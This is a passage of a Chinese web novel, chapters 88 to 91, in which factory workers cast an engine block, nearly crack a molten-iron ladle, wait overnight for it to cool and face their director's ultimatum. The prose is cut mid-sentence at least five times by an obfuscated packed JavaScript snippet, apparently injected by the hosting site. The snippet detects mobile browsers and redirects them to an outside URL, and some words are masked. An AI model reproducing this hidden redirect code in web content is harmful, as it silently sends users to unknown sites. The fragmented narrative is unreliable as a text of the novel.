车间里只剩下鼓风机残存的低鸣,以及那包铁水内部因高温而发出的、如同万千冤魂在低语的“嗡嗡”声。 猛然间,孙大海的双眼悍然睁开! 那眼中,爆射出一股骇人的精光! “起!” 他喉咙深处发出一声野兽般的低吼,双臂肌肉瞬间贲张到了极限。 那两条湿透了的、沉重无比的麻袋,被他用一股巧劲猛地向上甩起,在空中划过一道精准的抛物线,不偏不倚,如同两张巨大的膏药,稳稳地、严丝合缝地覆盖在了铁水包那烧得通红的外壁之上! 嗤! 一声无法用语言形容的、尖锐到足以刺穿耳膜的爆鸣,在车间内轰然炸响! 那不是简单的水蒸气的声音,那是水在接触到上千度高温的瞬间,被暴力撕裂、分解、**时发出的凄厉悲鸣! 一团庞大到遮天蔽日的白色蘑菇云,以铁水包为中心,猛地腾空而起! 那浓密的蒸汽,裹挟着一股恐怖的冲击力,向四面八方狂涌而出,将靠得最近的几名工人直接掀翻在地。 整个车间的空气,在瞬间变得滚烫而潮湿,能见度骤然降到了不足半米,仿佛所有人都在一秒之内,被拖入了一个伸手不见五指的桑拿地狱。 路承舟被那股气浪冲得连退了三大步,才勉强稳住身形。 他什么都看不见,耳朵里只剩下那持续不断的、令人心胆俱裂的“嘶嘶”声,以及自己那如同擂鼓般狂跳的心脏。 “咔……咔嚓……” 就在这片白色的混沌之中,一个极其细微、却又无比清晰的、令人毛骨悚然的声音,穿透了蒸汽的嘶鸣,钻进了每个人的耳朵。 那是金属在承受不住极限温差时,内部晶格结构发生错位、撕裂时发出的垂死呻吟! 完了! 路承舟的脑子里“嗡”的一声,一片冰凉! 铁水包…… 裂了! 这个念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341869|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,像一道黑色的闪电,瞬间击中了在场的所有人。 恐惧,如同无形的瘟疫,在白雾中疯狂蔓延。 一旦铁水包彻底崩裂,那近一吨重的、一千多度的铁水,将会像决堤的洪水,瞬间吞噬这里的一切! “别动!” 就在这千钧一发的时刻,江建国的吼声,如同定海神针,死死地镇住了所有人的慌乱。 “谁都不许动!” 他的声音里,带着一种不容置疑的威严,强行压制住了即将爆发的骚乱。 浓密的白雾,开始缓缓散去。 一个轮廓,最先从雾中浮现。 是孙大海。 他还站在原地,像一尊亘古不变的礁石,任凭那足以将人煮熟的蒸汽疯狂冲刷,竟是连一步都没有后退。 紧接着,那个被他亲手推向地狱边缘的铁水包,也露出了它的真容。 它依旧完整。 那两条麻袋,已经变得焦黑干枯,紧紧地贴在包壁上,冒着最后的青烟。 而铁水包本身,那原本亮得刺眼的赤红色,已经褪去,变成了一种沉稳厚重的、如同落日熔金般的橘红色。 它没有裂。 刚才那声异响,只是它在剧烈的热胀冷缩下,发出的一次痛苦的“呻吟”。 它承受住了这地狱般的考验。 “温度……” 路承舟几乎是下意识地嘶吼出来,声音因为极度的紧张和激动而完全变了调。 赵立本早已冲到了他所能靠近的极限位置,他的一只眼睛因为被蒸汽熏到而紧紧闭着,另一只眼睛却睁得老大,死死地盯着那片全新的光芒。 他的嘴唇哆嗦着,像是在进行着一场人生中最艰难的计算。 数秒之后,他猛地抬起头,用尽全身的力气,吼出了那个决定所有人命运的数字。 “一千四百二十度!正负十度!” 一千四百二十度! 路承舟的瞳孔,在一瞬间放大到了极限! 这个温度,不多不少,不偏不倚,正正好好地落在了他设计图纸上那个用红笔圈出来的、最完美的浇注温度区间之内! 这已经不是奇迹。 这是神迹! “还愣着干什么!” 孙大海那嘶哑的、仿佛来自地狱深处的声音再次响起,他猛地转身,冲着天车操作台的方向挥动着手臂,“吊包!浇注!” 短暂的死寂之后,整个车间,爆发出了一阵劫后余生般的、惊天动地的欢呼! 然而,欢呼声未落,冰冷的机械传动声便已然响起。 那巨大的吊钩缓缓落下,精准地扣住了铁水包的吊耳。 时间,没有给任何人庆祝的机会。 那扇通往胜利的窄门,已经打开。 现在,他们必须以最快的速度,冲过去! 第88章 砂型的呼吸 天车那沉重的钢铁巨爪精准地扣合,在一片刺耳的金属摩擦声中,将那包仍在散发着橘红色光芒的巨大铁水包,缓缓地、却又带着不容抗拒的力量,从地面上吊离。 喧嚣戛然而止。 方才那劫后余生的狂喜,如同被一只无形的大手瞬间扼住,所有人的欢呼都凝固在了脸上,化作一种更加深刻、更加原始的紧张。 空气仿佛变成了粘稠的琥珀,将每一个人的动作与表情都封存在这片由铁水映照出的昏黄光线里。 赛跑,进入了最后的直道。 那巨大的铁水包在半空中平稳地移动,像一颗被俘获的、正在缓慢冷却的微缩恒星。 它每前进一寸,下方工人们的心脏便随之抽紧一分。 他们仰着头,一道道目光汇聚成无形的轨道,死死地托举着这个承载了所有人希望与心血的庞然大物。 孙大海挣扎着,被丁建中和另一名工人搀扶着站了起来。 他的双腿仍在不受控制地打颤,汗水浸透的工装紧紧贴在身上,勾勒出那副几乎被榨干了所有力气的魁梧身躯。 然而,他的眼神却锐利如鹰,死死锁定着那正在缓缓靠近砂箱的铁水包,仿佛他的灵魂已经附着其上。 “稳住……” 他喉咙里挤出的声音,轻得只有身边的丁建中能听见,“告诉小猴崽子,手别抖……就当是……在吊一包棉花。” 丁建中立刻扯着嗓子,将这句嘱咐朝上方天车操作室的方向吼了出去。 路承舟站在砂箱不远处,这里是整个浇注流程的最佳观察点。 他的拳头攥得死紧,以至于能清晰地听到自己指骨间发出的“咯咯”轻响。 他的大脑,此刻已经化作了一台高速运转的精密仪器,疯狂地推演着接下来可能发生的一切。 这具砂型,是他们过去几天不眠不休的杰作。 它的内部,是按照发动机缸体结构一比一复刻出的、一个无比复杂的空腔迷宫。 纤细的水道,精密的油路,厚薄不均的缸壁…… 无数条流道纵横交错,共同构成了一颗钢铁心脏的雏形。 铁水,必须在凝固之前,精准无误地填满这迷宫的每一个角落。 “对准浇口!” 孙大海的声音陡然拔高,带着不容置疑的命令。 天车操作员显然也是个经验丰富的好手,巨大的铁水包在他手中仿佛有了生命。 它在砂箱正上方一个轻微的停顿、一次毫米级的微调,那滚烫的浇嘴,便与砂型上预留的、碗口大小的浇口,形成了完美的垂直对齐。 万事俱备。 整个车间,落针可闻。 只剩下铁水包内部那股能量翻腾时发出的、沉闷的嗡鸣。 “倾!” 孙大海用尽最后一丝力气,吼出了这个字。 两名早已等候在铁水包旁的壮汉,立刻合力转动巨大的倾转手轮。 伴随着令人牙酸的“嘎吱”声,那巨大的铁水包,开始以一个极其缓慢而稳定的角度,缓缓倾斜。 一道金红色的细流,最先从浇嘴中探出。 它像一道羞涩的闪电,试探着接触到砂型那黑色的浇口。 嗤啦一股青烟,伴随着焦糊的气味,瞬间升腾而起。 那是高温铁水与铸型砂中少量水分和粘结剂接触时,最直接的反应。 紧接着,那道细流骤然变粗,化作一道粘稠而璀璨的、奔腾不息的岩浆之柱,怒吼着、咆哮着,一头扎进了砂型那深不见底的黑暗咽喉之中! 路承舟的呼吸,在这一刻彻底停止了。 他的目光,死死地钉在砂箱侧面预留的那些排气孔上。 那些如同烟囱般的小孔,是这具巨大砂型的“肺”,是它用来排出内部被灼热铁水挤压出的空气与废气的唯一通道。 成了,就能呼吸。 败了,就会被活活憋死,甚至引发“呛火”**! 一秒。 两秒。 就在路承舟的心脏几乎要从胸腔里跳出来的时候,距离浇口最近的一个排气孔,猛地喷出了一股淡蓝色的火苗! 呼! 那火苗在空气中欢快地跳动着,像一个被点燃的精灵。 紧接着,第二个,第三个…… 一连串的排气孔,由近及远,如同被依次点亮的多米诺骨牌,纷纷喷射出同样明亮的蓝色火焰! 这证明铁水正在顺利地向前推进,它正沿着预设的流道,将内部的空气与气体,一层层地向外驱赶。 整个砂箱,仿佛活了过来。 它在呼吸! “好!” 丁建中忍不住发出一声低吼,脸上的肌肉因为极度的激动而扭曲。 然而,孙大海那张紧绷的脸,却没有丝毫放松。 他的眼睛,如同两颗烧红的炭块,死死地盯着那道奔流不息的铁水柱。 “流量……再大一点!” 他嘶哑地命令道,“快!别让它断了气!” 他敏锐地察觉到,随着铁水包内液位的下降,浇注的压力正在减弱,流速有了一丝微不可察的减缓。 对于这种薄壁复杂铸件而言,这丝毫的犹豫,都可能是致命的! 转动手轮的工人咬紧牙关,手臂上的肌肉虬结贲张,再次将倾斜的角度,加大了几分。 铁流轰然壮大,发出的咆哮声也愈发雄浑! 更多的排气孔被点燃,一时间,整座巨大的砂箱上,燃起了一片星星点点的、幽蓝色的鬼火,场面壮观而又诡异。 路承舟的心,却再次提到了嗓子眼。 他看到,在砂箱最远端,代表着缸体顶部薄壁区域的几个关键排气孔,迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341870|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟没有动静! 那里是整个流道的终点,也是最难被填满的区域。 如果铁水在抵达那里之前,因为温度下降而失去了足够的流动性…… 后果,将是灾难性的“浇不足”! 时间,在这一刻仿佛被放慢了无数倍。 每一滴落下的铁水,每一次蓝色火焰的跳动,都像一记重锤,狠狠地砸在路承舟的神经上。 怎么办? 还要再加大流量吗? 可那样一来,过快的流速很可能会冲垮型腔内部那些脆弱的砂芯! 就在这令人窒息的等待中,孙大海那双布满血丝的眼睛里,猛然闪过一丝决绝的凶光。 他没有再下令加速,反而用尽全身力气,发出一声震耳欲聋的咆哮。 “停!” 戛然而止! 转动手轮的工人如同被施了定身法,猛地停住了动作。 那道奔涌的铁流,也随之瞬间断绝。 所有人都愣住了,不明白孙大海为什么会在这个最关键的时刻,下达这样一个匪夷所思的命令。 只有路承舟,他的脑子里“轰”的一声,像是一道闪电划过! 压力! 他明白了! 孙大海这是在利用已经灌入流道内的铁水自身的静压力,去冲击最后的、最艰难的区域! 这就像往一个灌了半满水的瓶子里,猛地再倒进一股水,利用瞬间的液压冲击,去填满那些最细微的角落! 这已经不是技术,这是对流体力学最深刻、最直觉的理解与运用! 就在浇注停止的下一秒。 砂箱最远端,那几个始终沉寂的排气孔,仿佛是经过了漫长的、濒死的挣扎,终于…… 噗! 噗! 噗! 三股微弱的、却又无比清晰的蓝色火苗,顽强地、几乎是同时冒了出来! 成了! 整个铸型,彻底被填满了! “起包!” 孙大海的声音,带着一种如释重负的、几乎要虚脱的颤抖。 天车再次启动,将已经空空如也的铁水包缓缓吊起,移向远方。 而车间的中央,那座巨大的砂箱,正静静地躺在那里。 它表面的蓝色火焰,正在逐渐熄灭,只剩下浇口和冒口处,还闪烁着金红色的、如同岩浆冷却后留下的余晖。 一场惊心动魄的、与烈焰和时间的生死搏杀,至此,终于落下了帷幕。 然而,没有人欢呼。 所有人都只是静静地看着那座沉默的砂箱,仿佛在注视着一个刚刚诞生的、正在沉睡的婴儿。 他们赢得了所有的战斗。 可这场战争最终的胜负,却仍被封存在那片滚烫的砂砾之下,需要经过漫长而又煎熬的等待,才能最终揭晓。 第89章 砂砾下的心跳 幽蓝色的火焰,如同无数只疲倦的萤火,在砂箱的排气孔上明灭几下,终于恋恋不舍地熄灭了。 喧嚣与咆哮,烈焰与蒸汽,那一切足以撕裂耳膜、灼伤视网膜的狂暴元素,都随着最后一缕青烟的消散,被彻底抽离出这个空间。 死寂,如潮水般倒灌而回,瞬间填满了车间的每一个角落。 这寂静是如此沉重,仿佛拥有实质的重量,压在每个人的耳膜与心脏上。 一切都结束了。 或者说,一切真正意义上的等待,才刚刚开始。 那座巨大的砂箱,此刻正静静地横亘在车间中央,像一头刚刚吞噬了太阳、陷入沉睡的远古巨兽。 它黝黑的表面仍在散发着惊人的热量,扭曲了上方的空气,形成一片无声升腾的、肉眼可见的热浪。 它沉默着,将所有的秘密都深锁在滚烫的砂砾之下,拒绝透露分毫。 孙大海的身躯猛地一晃,那股支撑着他创造奇迹的悍勇之气,终于在此刻泄得一干二净。 若非丁建中眼疾手快地从旁死死架住,这位钢铁般的汉子恐怕会直挺挺地瘫倒在地。 他整个人都像是刚从熔炉里捞出来的焦炭,不仅衣衫尽湿,连呼出的气息都带着一股灼人的热度,唯独那双眼睛,依旧死死地钉在那座砂箱上,仿佛要将它看穿。 路承舟站在原地,一动不动。 他的大脑,那台在过去一个小时里以超负荷状态运转的精密仪器,此刻终于因为过热而宕机,陷入了一片空白。 他听不见周围任何声音,视野里只剩下那座沉默的砂箱,以及它周围因高温而产生的、如同海市蜃楼般的光影扭曲。 成功了吗? 这个念头,像一根冰冷的钢针,刺入他混沌的思绪。 理论上,他们闯过了所有关隘。 原料的危机,炉温的失控,浇注的窗口期…… 每一个足以致命的陷阱,都被他们用一种近乎野蛮的、不讲道理的方式强行踏平。 可铸造这门工艺,从来都不只关乎勇气与决断。 它更是一门关于等待的艺术,一门与应力、收缩和结晶这些看不见的魔鬼打交道的玄学。 在那些滚烫的砂砾之下,一场无声的战争正在打响。 金属原子正在从混乱的液态,重新排列成有序的晶格。 这个过程中产生的巨大内应力,正像无数只看不见的手,疯狂地撕扯着铸件内部那些最脆弱的连接。 任何一个环节的细微瑕疵,都可能在此刻被无限放大,最终在铸件内部形成一道致命的裂纹。 “水……” 江建国的声音打破了这片凝固的死寂,他没有去看任何人,目光同样落在那座砂箱上,声音沉稳得听不出一丝波澜,“给孙师傅和大家都拿些水来,先歇一歇。” 他的话语仿佛一道解除了定身法的咒语。 工人们这才如梦初醒,一个个拖着灌了铅似的双腿,互相搀扶着,散到车间各处。 有人直接拧开水龙头,将脑袋凑上去用冷水猛冲;有人则一屁股坐在冰冷的地面上,大口大口地喘着粗气,眼神空洞地望着天花板,仿佛魂魄还未归位。 丁建中拧开一个军用水壶,小心翼翼地递到孙大海干裂的嘴边。 孙大海却微微偏过头,躲开了。 “现在还不能歇。” 他的声音沙哑得如同砂纸摩擦,“开箱……要等多久?” 这后半句话,他是对着路承舟问的。 路承舟深吸了一口气,那股混杂着焦糊味与金属腥气的滚烫空气涌入肺中,让他那几乎停摆的大脑重新开始转动。 他强迫自己冷静下来,调动起所有关于铸件冷却的知识。 “缸体结构复杂,壁厚不均,冷却速度必须严格控制。” 他的声音有些干涩,但条理却异常清晰,“为了防止热应力过大导致开裂,绝对不能进行强制风冷或水冷。只能让它……自然冷却。” “自然冷却?” 丁建中急了,“那得等到什么时候?” “至少二十四小时。” 路承舟给出了一个让所有人心里一沉的答案,“二十四小时后,等它整体温度降到三百摄氏度以下,才能进行落砂。否则,骤然接触到冷空气,内外温差会瞬间撕裂它。” 二十四小时。 这个时间跨度,像一座无形的大山,压在了众人心头。 这意味着他们刚刚经历过一场惊心动魄的生死时速,却还要在这终点线前,忍受长达一整天的、看不到结果的煎熬。 “是龙是虫,就看老天爷给不给脸了。” 孙大海忽然低声咕哝了一句,眼神里流露出一丝匠人独有的、听天由命的疲惫。 他挣脱丁建中的搀扶,拖着沉重的步伐,走到砂箱前。 他没有说话,只是伸出那只布满老茧和烫伤的大手,轻轻地、如同抚摸情人般,在那滚烫的砂箱外壁上,缓缓地摩挲着。 他与它,隔着一层砂砾,进行着一场无人能懂的交流。 就在这片由等待主宰的沉重气氛中,车间那扇沉重的铁门,忽然被人从外面“哐”的一声,猛地推开了。 刺眼的午后阳光,如同一把利剑,瞬间劈开了车间内的昏暗。 一个穿着的确良白衬衫、身材微胖的中年男人,背着光站在门口,脸上带着一股被打扰了午休的愠怒和浓浓的疑惑。 他身后,还跟着几个神色慌张的车间干部。 “江建国!孙大海!” 来人的声音洪亮,带着一股久居上位的威严,“你们在这里搞什么名堂?刚才那动静,我还以为锅炉房炸了!” 看清来人,车间里所有人的脸色,齐齐一变。 是厂长,王德发。 江建国的眉头微不可察地皱了一下,但很快又舒展开来。 他迎了上去,脸上带着一贯的平静:“王厂长,您怎么来了?” 王德发的目光,已经越过江建国,被车间中央那座仍在散发着惊人热量的巨大砂箱,以及周围一片狼藉的景象所吸引。 他不是技术出身,但也看得出这绝不是寻常的生产作业。 空气中那股刺鼻的气味,地上散落的石灰石碎块,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我说,不能。” 江建国一字一顿,声音不大,却仿佛拥有千钧之力,让整个车间的温度都骤然下降了几分,“这是我们所有人的心血,更是我们红星厂的希望。在结果出来之前,谁也不能动它。” 四目相对,空气中仿佛有无形的电火花在激烈碰撞。 良久,王德发看着江建国那双不含丝毫杂质、却又坚定如铁的眼睛,终究还是败下阵来。 他重重地哼了一声,指着那座沉默的砂箱,下达了最后的通牒。 “好!江建国,我就给你这个面子!” “明天早上八点,我亲自过来!到时候,要是从这沙子堆里扒出来的,是一块没用的废铁疙瘩……” 他顿了顿,阴冷的目光扫过在场的每一个人。 “你们项目组,就地解散!所有损失,从你们几个负责人的工资里,给我一分一分地扣!” 第90章 黎明前的守望 王德发甩下那句冰冷的通牒,如同一只斗胜的公鸡,昂着头颅,在一众噤若寒蝉的干部簇拥下转身离去。 他那双锃亮的皮鞋踩在满是灰尘的水泥地上,发出的“咯噔”声响,每一下都精准地敲击在众人早已绷紧的神经上。 沉重的铁门被重新关上,发出一声沉闷的巨响,将午后那片刺眼的阳光与车间内这片压抑的昏暗,彻底隔绝。 世界,重归寂静。 然而,方才那股由外力强行注入的尖锐对峙消失后,留下的并非平静,而是一种更加令人窒息的、从内部滋生出的疲惫与绝望。 工人们脸上的血色,随着王德发背影的消失,迅速褪去,取而代之的是一片死灰。 那刚刚用命拼回来的、一丝微弱的希望火苗,就这样被人一盆冰水,兜头浇灭。 “**!” 一个年轻工人再也抑制不住,狠狠一拳砸在旁边的铁架上,发出“哐”的一声巨响。 他的手背瞬间破皮见血,可他却仿佛感觉不到疼痛,只是咬着牙,通红的眼眶里满是**的泪水。 “凭什么?他凭什么就这么断定咱们失败了?” “就凭他是厂长。” 丁建中不知何时捡起了地上的一个扳手,用一块破布慢条斯理地擦拭着,声音嘶哑而低沉,“凭他一句话,就能让咱们所有人的心血,变成一堆废铁。” 这句冷酷的现实,像一把钝刀,割开了所有人的幻想。 气氛,瞬间沉到了谷底。 孙大海靠着一根冰冷的立柱缓缓滑坐下去,他那魁梧的身躯此刻蜷缩着,像一头被夺走了幼崽的苍狼。 他没有怒吼,也没有咒骂,只是将脸深深地埋进了那双粗糙的大手里,宽阔的肩膀在无声地耸动。 这位在千度高温的炉火前都未曾退缩半步的汉子,此刻却被那几句轻飘飘的话,击垮了。 路承舟站在原地,一言不发。 他的大脑,终于从那片空白中恢复了运转,却立刻被无数个关于冷却应力、石墨畸变和收缩孔洞的可怕模型所占据。 王德发的话语固然伤人,但对于一个工程师而言,最大的恐惧永远来源于技术本身的不确定性。 他比任何人都清楚,即便他们闯过了前面所有的难关,在这漫长的二十四小时里,依旧有成百上千个看不见的魔鬼,潜伏在那片滚烫的砂砾之下,随时可能给这件寄托了所有人希望的铸件,判处**。 就在这片绝望如同瘟疫般蔓延的时刻,江建国动了。 他没有去安抚任何人,也没有说一句慷慨激昂的废话。 他只是走到车间角落,提起一个积满灰尘的暖水瓶,又从自己的工具柜里摸出那只搪瓷茶缸,走到水龙头下,仔仔细细地将它们冲洗干净。 然后,他提着水壶,走到锅炉房,没过多久,又提着一壶滚烫的开水,走了回来。 他给自己的茶缸里丢进一撮茶叶,冲上开水,那股熟悉的、廉价的茶香,在这片混杂着金属与焦糊气息的空气中,显得格格不入,却又奇异地带来了一丝人间的烟火气。 他端着茶缸,走到孙大海面前,蹲下身,将那只温热的杯子,塞进了孙大海冰冷的手中。 “老孙,” 江建国的声音平静如常,仿佛刚才那场风波从未发生,“喝口水,润润嗓子。守着咱们这个宝贝疙瘩,可是个体力活。” 孙大海缓缓抬起头,那双布满血丝的眼睛里,满是茫然。 “江总……咱们……” “咱们什么?” 江建国打断了他,目光平静地扫过周围一张张颓丧的脸,声音不大,却清晰地传到了每个人的耳朵里,“王厂长说得没错,明天早上八点,他会过来。在那之前,我们什么也做不了,不是吗?” 他顿了顿,端起自己的茶缸,轻轻吹开浮沫,啜了一口。 “既然如此,那就等。” 一个“等”字,他说得云淡风轻,却带着一种不容置疑的、安定人心的力量。 “丁师傅,” 他看向丁建中,“麻烦你带几个人,去食堂那边看看,有什么能吃的,都弄点过来。守夜,可不能饿着肚子。” 他又转向路承舟:“小路,你也别站着了。找个地方坐下,闭上眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341872|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把你脑子里的那些公式和图纸都清空。现在,它们帮不上任何忙。你需要的是休息。” 江建国就像一位经验丰富的船长,在风暴过后的第一时间,不是去计算船只的损伤,而是有条不紊地,为手下的船员分派食物、安排休息,重建那早已崩溃的秩序。 他的镇定,感染了所有人。 那股弥漫在空气中的绝望,虽然没有散去,却被一种更加坚韧的东西,暂时压制了下去。 工人们不再唉声叹气,他们默默地行动起来,清理场地,收拾工具,仿佛在进行一场庄严的、心照不宣的仪式。 夜幕,悄然降临。 车间里只留下了几盏昏黄的照明灯,将那座巨大的砂箱,以及围坐在它周围的几个身影,拉出长长的、沉默的影子。 江建国,路承舟,孙大海,丁建中,还有几个自发留下来的老师傅,他们没有回家。 他们就那样静静地守着,像一群最虔诚的信徒,守护着他们的圣物。 时间,以前所未有的速度,被拉长、碾碎,化作一分一秒的煎熬。 偶尔,有人会站起身,走到砂箱旁,侧耳倾听,仿佛想从那片死寂的砂砾之下,捕捉到一声微弱的心跳。 然而,回应他们的,只有那依旧灼人的热浪,以及金属内部晶格结构在缓慢重组时发出的、极其细微的“噼啪”声。 路承舟靠在一台冰冷的机床上,强迫自己入睡,可眼皮刚一合上,脑海里便浮现出铸件因应力不均而寸寸断裂的可怕画面。 他猛地惊醒,额头上已是一片冷汗。 他索性不再尝试,只是睁着眼睛,怔怔地望着那座巨大的黑色方块。 他能清晰地感觉到,那股曾经狂暴的能量,正在以一种极其缓慢的速度,向外流逝。 它正在冷却,正在定型,正在完成它从一滩液体,到一件精密工业品的最后蜕变。 这个过程,神圣而又残酷。 不知过了多久,东方那扇高窗,透进了一丝微弱的鱼肚白。 新的一天,来了。 而决定他们所有人命运的时刻,也终于,近了。 第91章 寂静的烘炉 一夜无话。 时间在这座封闭的车间里,仿佛化作了粘稠的、流淌极缓的沥青。 每一分,每一秒,都带着沉重的、令人窒息的质感,缓缓地从众人紧绷的神经上碾过。 没有人能真正睡着。 路承舟靠着冰冷的机床,双眼虽然闭着,但大脑却像一团纠缠错乱的线团,无数关于金属相变、晶格应力的公式与图表在其中疯狂闪现。 他时而看见完美的铸件在晨光下熠熠生辉,时而又惊恐地目睹一道细微的裂纹,如毒蛇般从缸体深处蔓延开来,将一切希望撕得粉碎。 冷汗与热汗交替浸湿他的后背,这无声的煎熬,远比昨日炉火前的搏杀更加磨人。 孙大海就那么盘腿坐在砂箱不远处,像一尊入定的老僧。 他那双熬得通红的眼睛,整夜都未曾离开过那座巨大的黑色方块。 他不再说话,也不再动作,只是用一种近乎偏执的专注,去感受那座“烘炉”内部正在发生的、无声的化学与物理演变。 那里面,是他的“崽子”,是他赌上了一辈子声誉与经验的造物。 它的每一次呼吸,每一次心跳,仿佛都能透过滚烫的砂砾,传递到这位老匠人的灵魂深处。 江建国是唯一一个看起来还保持着镇定的人。 他找来几张破旧的报纸铺在地上,就那么和衣躺下,似乎真的睡着了。 然而,他那放在胸前、随着呼吸微微起伏的手,却始终紧紧攥着,指节因为过度用力而呈现出一种缺乏血色的苍白。 他不是磐石,他只是这座即将倾覆的堤坝上,那根绝不能倒下的主心骨。 当第一缕灰白色的晨光,挣扎着穿透车间高窗上厚厚的油污,为这片昏暗的工业遗迹镀上一层微弱的光边时,所有人都几乎在同一时刻,不约而同地睁开了眼睛。 天,亮了。 那座沉默了一夜的砂箱,依旧散发着惊人的热量,但那股足以扭曲光线的灼浪,已然收敛了许多。 它像一头退烧的巨兽,虽然余威尚存,却不再那么咄咄逼人。 “赵师傅,测温。” 江建国不知何时已经站了起来,他的声音带着一丝宿夜未眠的沙哑,却依旧沉稳有力。 早已等候在一旁的赵立本,立刻提着一台老旧的热电偶测温仪,小心翼翼地走了过去。 他将那根细长的金属探针,缓缓插入砂箱侧面预留的一个测温孔中。 所有人的目光,都瞬间聚焦在了那块小小的、指针式的表盘上。 空气,在这一刻重新凝固。 红色的指针,在一阵轻微的颤抖后,最终缓缓地、极其艰难地停在了一个刻度上。 “二百……二百八十度。” 赵立本的声音都在发颤,他反复确认了几遍,才用一种近乎虚脱的语气,大声宣布了这个结果。 低于三百度的安全线! 可以开箱了! 这个消息,并未引来任何欢呼。 它像一把钥匙,开启的不是胜利的大门,而是通往最终审判庭的通道。 众人的心,反而提得更高了。 “准备家伙!” 丁建中低吼一声,第一个抓起了靠在墙边的一把沉重的大铁锤。 其余几个老师傅也纷纷起身,拿起了撬棍与铁钎。 他们脸上的表情,庄严肃穆得如同即将走上战场的士兵。 就在这时“哐当!” 车间那扇沉重的铁门,被人用一种极其粗暴的方式,从外面猛地推开。 王德发的身影,准时出现在门口,身后依旧跟着那几个唯唯诺诺的车间干部。 他显然是精心收拾过,一身笔挺的干部装,头发梳得油光发亮,与车间里这群满身油污、形容憔悴的“赌徒”形成了无比鲜明的对比。 他的目光在众人脸上一一扫过,最后落在那座巨大的砂箱上,嘴角勾起一抹毫不掩饰的、冰冷的讥讽。 “八点了。” 他抬起手腕,看了看那块锃亮的上海牌手表,声音不大,却清晰地传遍了整个车间,“江总工程师,各位老师傅,你们的闹剧,也该收场了吧?” 他施施然地走了进来,皮鞋踩在水泥地上,发出清脆而又刺耳的“哒哒”声,仿佛是为这场失败的豪赌,敲响了最后的丧钟。 “怎么?还想负隅顽抗?” 王德发看着丁建中等人手中紧握的工具,脸上的嘲弄之色更浓了,“行啊,我今天就当个见证人。来,动手吧,让我亲眼看看,你们耗费了厂里这么多宝贵的资源,到底给我砸出了个什么惊天动地的……废铁疙瘩!” “你!” 一个年轻工人气得浑身发抖,就要上前理论。 “小王!” 江建国沉声喝止了他。 他转过身,平静地注视着王德发,缓缓说道:“王厂长,既然你来了,那就请你看个清楚。” 说完,他不再理会王德发,只是对着丁建中等人,沉重地、缓缓地点了点头。 “开。” 一个字,重若千钧。 丁建中深吸一口气,他抡圆了那柄足有几十斤重的大锤,用尽全身的力气,朝着砂箱的箱扣连接处,狠狠地砸了下去! “当!” 一声震耳欲聋的巨响,在死寂的车间内轰然炸开! 火星四溅! 这仿佛是一个信号。 其余的工人也同时动手,撬棍与铁钎,精准地插入早已计算好的位置。 他们没有多余的呐喊,只有沉重的呼吸与肌肉贲张时发出的闷哼。 每一次撬动,每一次捶打,都蕴含着一种仪式般的、孤注一掷的力量。 “咔啦……咔啦啦……” 巨大的砂箱,在众人的合力之下,发出了不堪重负的呻吟。 固定用的卡扣被逐一砸开,连接的螺栓被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341873|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一撬松。 那曾经坚不可摧的钢铁壁垒,正在被一层层地、无情地剥离开来。 王德发抱臂站在一旁,脸上的冷笑愈发明显。 在他看来,这不过是失败者最后一次徒劳而又可笑的挣扎。 终于,随着丁建中最后一次发力撬动,砂箱最顶层那块巨大的盖板,猛地一松! “起!” 几名工人合力,将那重逾千斤的盖板缓缓抬起,移向一旁。 一瞬间,一股更加灼热的气浪,夹杂着烧结砂砾特有的焦糊气味,扑面而来! 